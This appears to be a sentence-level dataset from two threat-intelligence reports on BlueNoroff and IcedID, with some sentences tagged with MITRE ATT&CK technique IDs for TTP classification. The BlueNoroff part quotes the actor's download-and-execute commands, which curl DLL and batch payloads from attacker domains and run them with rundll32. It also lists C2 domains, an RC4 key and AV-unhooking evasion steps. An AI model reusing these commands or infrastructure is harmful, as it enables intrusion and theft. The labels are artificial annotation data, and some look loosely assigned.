{"sentence": "Files inside VHD a file The Job_Description[spaces].exe file (MD5 931d0969654af3f77fc1dab9e2bd66b1) is a loader that loads the next stage payload.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Upon launch, it copies the ​Dump.bin file to the ​%Templates%\\war[current time][random value].bin (i.e., war166812964324445.bin).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The Dump.bin has a modified PE header.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The malware reads the first byte of Dump.bin, 0xAF in this file, and decodes 0x3E8 bytes with that key.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The decrypted data is the header of a PE file, overwriting the recovered header to the original file.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Eventually, it loads the decrypted DLL file by spawning the ordinary first export function.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The spawned downloader contains an encrypted configuration at the end of the file.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The malware first acquires the total size of the configuration data and the length of the payload URL from the end of the file.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They are located four bytes and eight bytes from the end of the file, respectively.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The malware decrypts the configuration data with the RC4 algorithm using an embedded 64-byte key.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "RC4 key: 46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 79 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 67 50 33 Restored URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D Structure of configuration In the case of another downloader, however, the payload URL was delivered using a command line parameter.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Also, some of the other downloaders (MD5 f766f97eb213d81bf15c02d4681c50a4) have functionality that checks the working environment.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If the size of physical memory is less than 2,147,483,648 bytes, the malware terminates execution.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Infection flow of downloader This downloader checks for the names of the following antivirus vendors:", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Sophos, Kaspersky, Avast, Avira, Bitdefender, TrendMicro, and Windows Defender.", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If TrendMicro, BitDefender, or Windows Defender products are installed, the malware conducts a classic unhooking DLL trick intended to remove user-mode hooks from the system library.", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This evasion technique overwrites the .text section of the pre-loaded ntdll library with the freshly loaded one so that the hooked API addresses are recovered with the original API address.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "With this trick, the malware can disable the functionalities of EDR/AV products.", "labels": ["T1562.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Next, the malware creates a mutex to avoid duplicate execution.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Mutex name: da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f Next, the malware opens a PDF decoy document in the same directory.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The decoy document masquerades as a job offer from a Japanese multinational bank.", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If Windows Defender or Bitdefender Antivirus is installed on the victim’s computer, the malware executes itself with the following commands: Windows Defender: cmd /c", "labels": ["T1059.003", "T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "timeout /t 10 & Del /f /q", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "\\”[current file name]\\” & attrib -s", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "-h \\”[PDF decoy file]\\” & rundll32 \\”[current DLL file path]\\” #1 Bitdefender: cmd /c", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "timeout /t 10 & rundll32 \\”[current DLL file path]\\” #1 The primary objective of this malware is to fetch the next stage payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "To do this, the malware uses the cURL library, combining cURL commands depending on the antivirus installed. Avira or Avast installed:", "labels": ["T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "curl -A cur1-agent -L", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "[payload URL(| -x proxy URL)]", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "-s -d da Other cases: curl -A cur1-agent -L", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "-s -d dl Note that the user-agent name is “cur1-agent“, and the malware sends “da” POST data if the victim installed Avira or Avast; otherwise, the malware sends “dl” POST data.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If the fetched data by cURL command contains “<html>” and “curl:”, the malware decrypts the payload with a delivered 64-byte RC4 key.", "labels": ["T1105", "T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "If Avira or Avast are installed, the malware saves the decrypted payload to “%TEMPLATES%\\marcoor.dll” and spawns it with the rundll32.exe command with the payload URL.", "labels": ["T1140", "T1218.011"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "command: exe %TEMPLATES%\\marcoor.dll #1 [payload URL] Otherwise, the malware doesn’t write the payload to the file and injects the fetched payload into the explorer.exe process.", "labels": ["T1055"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The fetched payload is a DLL type executable and its export function is spawned with the “payload URL”.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Unfortunately, we haven’t been able to obtain a precise infection chain so far.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "From our telemetry, however, we can confirm the victim was eventually compromised by backdoor-type malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Based on the malware’s static information, and parts of the internal code, we assess that the final payload is still very similar to the Persistence Backdoor #2[1] we described in our previous blog.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Updated method #2: Scripts and novel downloader", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Additionally, we observed the download and launch of a suspicious batch file.", "labels": ["T1059.003", "T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The actor exploited different LOLBins.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The malware execution is done using a legitimate script, SyncAppvPublishingServer.vbs, in the system folder.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This script is for executing the PowerShell script via", "labels": ["T1053.005"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "a Windows scheduled task.WScript.exe \"%system32%\\SyncAppvPublishingServer.vbs\" \"n;cmd.exe '/c curl perseus.bond/Dgy_0dU08lC/hCHEdlDFGV/P89bXhClww/uiOHK5H35B/bM%3D -A cur1-agent -o %public%\\regsile.bat & start /b", "labels": ["T1053.005"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "%public%\\regsile.bat'", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We also observed the context around that batch file in our telemetry.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The batch file name is “What is Blockchain.bat“.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "As the file name suggests, this group still targets the blockchain industry.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "We acquired the scriptlet of the batch file.xcopy /h", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/y /q", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "How-To-Extension.pdf c:\\users\\public\\Inproc.exe* start xcopy", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/h", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/y", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "/q", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Blockchain-old.pdf c:\\users\\public\\rwinsta.exe* start c:\\users\\public\\Inproc.exe \"%cd%\\Blockchain.pdf\" The Inproc.exe is a legitimate mshta.exe file (MD5 0b4340ed812dc82ce636c00fa5c9bef2), and the rwinsta.exe is a legitimate rundll32.exe file (MD5 ef3179d498793bf4234f708d3be28633).", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The Blockchain.pdf file is a malicious HTML application file spawned by the mshta.exe process.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Unfortunately, we don’t have the HTA script (Blockchain.pdf), but we can assume the functionality of the script based on our telemetry – showing the decoy document and fetching the next stage payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "# Create a decoy password file and open it.", "labels": ["T1059.003"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "echo {PASSWORD}>%documents%\\Userlink & notepad.exe %documents%\\Userlink # Fetch the payload with cURL command and execute. cmd.exe\" /c", "labels": ["T1059.003", "T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "timeout 10 & curl perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D -s -d md -A cur1-agent -o %documents%\\macroor.dll& %documents%\\macroor.dll #1 perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D Also, we observed this group introduce a new Windows executable-type downloader at this time.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This malware (MD5 087407551649376d90d1743bac75aac8) spawns a fake password file while fetching a remote payload and executing it.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Upon execution, it creates a fake file (wae.txt) to show a password composed of the string ‘password’ and fetches a payload from the embedded URL and loads it.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This scheme, showing a password via notepad.exe, is a trick favored by the BlueNoroff group to avoid arousing the victim’s suspicion.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Usually, the password contains the password needed to open the supplied encrypted decoy document.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Simple downloader with fake password file It’s possible that the actor delivered the above Windows executable file in archive file format or disk image file format with an encrypted decoy document.", "labels": ["T1027"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Infrastructure While carrying out this research we found several C2 servers used by the actor.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "All the servers are hosted by VPS vendors as usual and several of them were resolved to the same IP address.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The domain registration could be traced back to earlier in 2021, so this is an ongoing operation by the adversary.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Domain IP ISP ASN offerings.cloud docs.azure-protection.cloud bankofamerica.us.org 104.168.174.80 Hostwinds LLC.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "AS54290 perseus.bond avid.lno-prima.lol 104.168.249.50 Hostwinds LLC.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "AS54290 offerings.cloud perseus.bond docs.azure-protection.cloud avid.lno-prima.lol 152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473 The actor usually used fake domains such as cloud hosting services for hosting malicious documents or payloads.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "They also created fake domains disguised as legitimate companies in the financial industry and investment companies.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "The domains, including pivoted domains, imitate venture capital names or big bank names.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Most of the companies are Japanese companies, indicating the actor has a keen interest in Japanese markets.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Malicious domains Genuine company Category of business Country beyondnextventures.co cloud.beyondnextventures.co Beyond Next Ventures (https://beyondnextventures.com) Venture capital firm Japan smbc.ltd smbcgroup.us smbc-vc.com Sumitomo Mitsui Banking Corporation (https://www.smbc.co.jp) Japanese multinational banking and financial services Japan cloud.mufg.tokyo mufg.tokyo Mitsubishi UFJ Financial Group (https://www.mufg.jp) Bank in Japan Japan vote.anobaka.info ANOBAKA (https://anobaka.jp) Venture capital firm Japan it.zvc.capital Z Venture Capital (https://zvc.vc) Venture capital firm Japan abf-cap.co ABF Capital (https://www.abf-cap.com)", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Venture capital firm Japan angelbridge.capital Angel Bridge (https://www.angelbridge.jp) Venture capital firm Japan mizuhogroup.us careers.mizuhogroup.us Mizuho Financial Group (https://www.mizuhogroup.com) Banking holding company Japan bankofamerica.tel bankofamerica.nyc bankofamerica.us.org Bank of America (https://www.bankofamerica.com) Bank and financial services holding company USA tptf.us tptf.ltd ​​Trans-Pacific Technology Fund (https://tptf.co) Venture capital firm Taiwan Victims As we described in the section ‘Long-lasting initial infection’, we discovered that one victim in the UAE, probably a home financing company, was compromised by classic BlueNoroff group malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This financially motivated threat actor has been attacking various cryptocurrency-related businesses lately, but also other financial companies, as in this case.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In addition, based on the domain naming and decoy documents, we assume, with low confidence, that the entities in Japan are on the radar of this group.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "In one PowerPoint sample, we observed that the actor took advantage of a Japanese venture capital company.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Also, the samples we mentioned in the ‘Long-lasting initial infection’ section above were delivered to the victim with a Japanese file name, suggesting the target can read Japanese.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Decoy document Conclusion According to a recent report, the BlueNoroff group stole cryptocurrency worth millions using their cyberattack capabilities.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "It shows that this group has a strong financial motivation and actually succeeds in making profits from their cyberattacks.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "As we can see from our latest finding, this notorious actor has introduced slight modifications to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "This also suggests that attacks by this group are unlikely to decrease in the near future.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Indicators of compromise Downloader 087407551649376d90d1743bac75aac8 regsile.exe Cur1Agent downloader f766f97eb213d81bf15c02d4681c50a4 61a227bf4c5c1514f5cbd2f37d98ef5b 4c0fb06320d1b7ecf44ffd0442fc10ed d8f6290517c114e73e03ab30165098f6 Loader d3503e87df528ce3b07ca6d94d1ba9fc E:\\Readme.exe 931d0969654af3f77fc1dab9e2bd66b1 Job_Description.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "exe Malicious Virtual Disk File a17e9fc78706431ffc8b3085380fe29f Job_Description.vhd Zip file and unzipped malicious shortcut 1e3df8ee796fc8a13731c6de1aed0818 新しいボーナススケジュール.zip (New bonus schedule) 21e9ddd5753363c9a1f36240f989d3a9 Password.txt.lnk URLs hxxp://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= hxxp://avid.lno-prima[.]lol/NafqhbXR7KC/rTVCtCpxPH/kMjTqFDDNt/fiOHK5H35B/bM%3D hxxp://offerings[.]cloud/NafqhbXR7KC/rTVCtCpxPH/pdQTpFN6FC/Lhr_wXGXix/nQ%3D hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D hxxps://docs.azure-protection[.]cloud/%2BgFJKOpVX/4vRuFIaGlI/D%2BOfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://docs.azure-protection[.]cloud/+gFJKOpVX/4vRuFIaGlI/D+OfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd Pivoted IP address 152.89.247.87 172.86.121.130 104.168.174.80 MITRE ATT&CK Mapping Tactic Technique Technique name Initial Access T1566.001 T1566.002", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Phishing: Spearphishing Attachment Phishing: Spearphishing Link Execution T1059.003 T1059.005 T1204.001 T1204.002 Command and Scripting Interpreter:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Windows Command Shell Command and Scripting Interpreter:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "Visual Basic User Execution: Malicious Link User Execution: Malicious File Persistence T1547.008 Boot or Logon Autostart Execution: LSASS Driver Defense Evasion T1027.002 T1497.001 T1055.002 T1553.005 T1218.007 T1218.011 T1221 Obfuscated Files or Information: Software Packing Virtualization/Sandbox Evasion:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "System Checks Process Injection: Portable Executable Injection Subvert Trust Controls: Mark-of-the-Web Bypass System Binary Proxy Execution: Msiexec System Binary Proxy Execution: Rundll32 Template Injection Command and Control T1071.001 Application Layer Protocol: Web Protocols Exfiltration T1041 Exfiltration over C2 Channel", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "[1] APT Intel report: BlueNoroff Launched a New Campaign To Attack Cryptocurrency Business", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"}
{"sentence": "​Key Findings Proofpoint is tracking new variants of IcedID used by at least three threat actors.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Initial analysis suggests this is a forked version with potentially a separate panel for managing the malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "While much of the code base is the same, there are several key differences.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "One key difference is the removal of banking functionality such as web injects and backconnect.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint researchers hypothesize the original operators behind Emotet are using an IcedID variant with different functionality.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Overview Proofpoint researchers have observed and documented, for the first time, three distinct variants of the malware known as IcedID.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint calls the two new variants recently identified “Forked” and “Lite” IcedID.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This report details the following variants of IcedID: Standard IcedID Variant – The variant most commonly observed in the threat landscape and used by a variety of threat actors.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Lite IcedID Variant – New variant observed as a follow-on payload in November Emotet infections that does not exfiltrate host data in the loader checkin and a bot with minimal functionality.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Forked IcedID Variant – New variant observed by Proofpoint researchers in February 2023 used by a small number of threat actors which also delivers the bot with minimal functionality.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "IcedID is a malware originally classified as a banking malware and was first observed in 2017.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "It also acts as a loader for other malware, including ransomware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "As previously published, historically there has been just one version of IcedID that has remained constant since 2017.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The well-known IcedID version consists of an initial loader which contacts a Loader C2 server, downloads the standard DLL Loader, which then delivers the standard IcedID Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In November 2022, Proofpoint researchers observed the first new variant of IcedID Proofpoint dubbed “IcedID Lite” distributed as a follow-on payload in a TA542 Emotet campaign.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "It was dropped by the Emotet malware soon after the actor returned to the e-crime landscape after a nearly four-month break.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID Lite Loader observed in November 2022 contains a static URL to download a “Bot Pack” file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Starting in February 2023, Proofpoint observed the new Forked variant of IcedID.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "To date, Proofpoint has uncovered seven campaigns using the Forked IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This variant was distributed by TA581 and one unattributed threat activity cluster which acted as initial access facilitators.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The campaigns used a variety of email attachments such as Microsoft OneNote attachments and somewhat rare to see .URL", "labels": ["T1566.001"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "attachments, which led to the Forked variant of IcedID.", "labels": ["T1566.001"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The IcedID Forked Loader, first observed in February 2023, is more similar to the Standard IcedID Loader in that it contacts a Loader C2 server to retrieve the DLL loader and bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "That DLL loader has similar artifacts to the Lite Loader, and also loads the Forked IcedID Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The following picture shows the high-level overview of the various IcedID variants Proofpoint researchers have identified.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 1: Overview of the three IcedID variants.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Threat Actor Details Proofpoint has identified hundreds of IcedID campaigns from 2022 through 2023, and at least five threat actors were observed directly distributing this malware in campaigns since 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Nearly all threat actors and unattributed threat activity clusters use the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint considers most of these threat actors to be initial access brokers that facilitate infections leading to ransomware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Proofpoint continues to see all variants of the IcedID malware in campaign data, so researchers assess with high confidence that the changes detailed below are not direct upgrades to the Standard IcedID codebase.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "It is likely a cluster of threat actors is using modified variants to pivot the malware away from typical banking trojan and banking fraud activity to focus on payload delivery, which likely includes prioritizing ransomware delivery.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Additionally, based on artifacts observed in the codebase, timing and association with Emotet infections, Proofpoint researchers suspect the initial developers of Emotet have partnered with IcedID operators to expand their activities including using the new Lite variant of IcedID that has different, unique functionality and likely testing it via existing Emotet infections.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The Lite IcedID variant has only been observed following TA542 Emotet infections, but Proofpoint cannot definitively attribute the Lite variant to TA542 as follow-on infections are typically outside of researchers’ visibility.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The following are threat actors frequently associated with IcedID. TA578 – Proofpoint has observed TA578 deliver IcedID in campaigns since June 2020.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Typically, this actor uses email themes such as “stolen images” or “copyright violation” to deliver malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "In addition to IcedID, TA578 also frequently conducts campaigns delivering Bumblebee malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA578 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA551 – Proofpoint has observed TA551 deliver IcedID in campaigns since November 2018.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor usually uses thread hijacking to typically deliver attached files including Word documents, PDFs, and recently, OneNote documents.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA551 has used multiple malware types, with recent payloads including IcedID, SVCReady, and Ursnif.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA551 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA577 – Proofpoint has observed TA577 use IcedID in limited campaigns since February 2021.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor typically uses thread hijacking to deliver malware, with Qbot being TA577’s preferred payload.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "However, Proofpoint has observed IcedID delivered by TA577 in six campaigns since 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA577 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA544 – Proofpoint observed TA544 use IcedID in limited campaigns throughout 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor typically targets organizations in Italy and Japan, and typically delivers Ursnif malware.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA544 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA581 – TA581 is a newly classified threat actor Proofpoint has tracked as an unattributed activity cluster since mid-2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This actor typically uses business-relevant themes such as payroll, customer information, invoice, and order receipts to deliver a variety of filetypes or URLs.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA581 typically delivers IcedID, but has been observed using Bumblebee malware and telephone-oriented attack delivery (TOAD) payloads.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "TA581 uses the Forked IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Campaign Details Proofpoint has only observed the IcedID Lite Loader variant delivered as a second-stage payload following Emotet infections associated with November 2022 campaigns.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Below are examples of the Standard and Forked IcedID variants observed as first-stage payloads.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Example 1: IcedID Standard Campaign Proofpoint observed a campaign with over 2,800 messages on 10 March 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "This campaign began with thread hijacked emails which contained HTML attachments.", "labels": ["T1566.001"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The HTML attachments used HTML Smuggling to drop a password protected, zipped Windows Script File (WSF).", "labels": ["T1027"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The password “747” was displayed in the HTML file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "The WSF ran a VBScript which initiated a PowerShell command to download and execute an intermediate script which then downloaded and executed the Standard IcedID Loader using a non-standard export “init”.", "labels": ["T1105"], "doc_title": "Fork in the Ice The New Era of IcedID"}
{"sentence": "Figure 2: Sample email using thread hijacking to deliver an HTML attachment.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"}
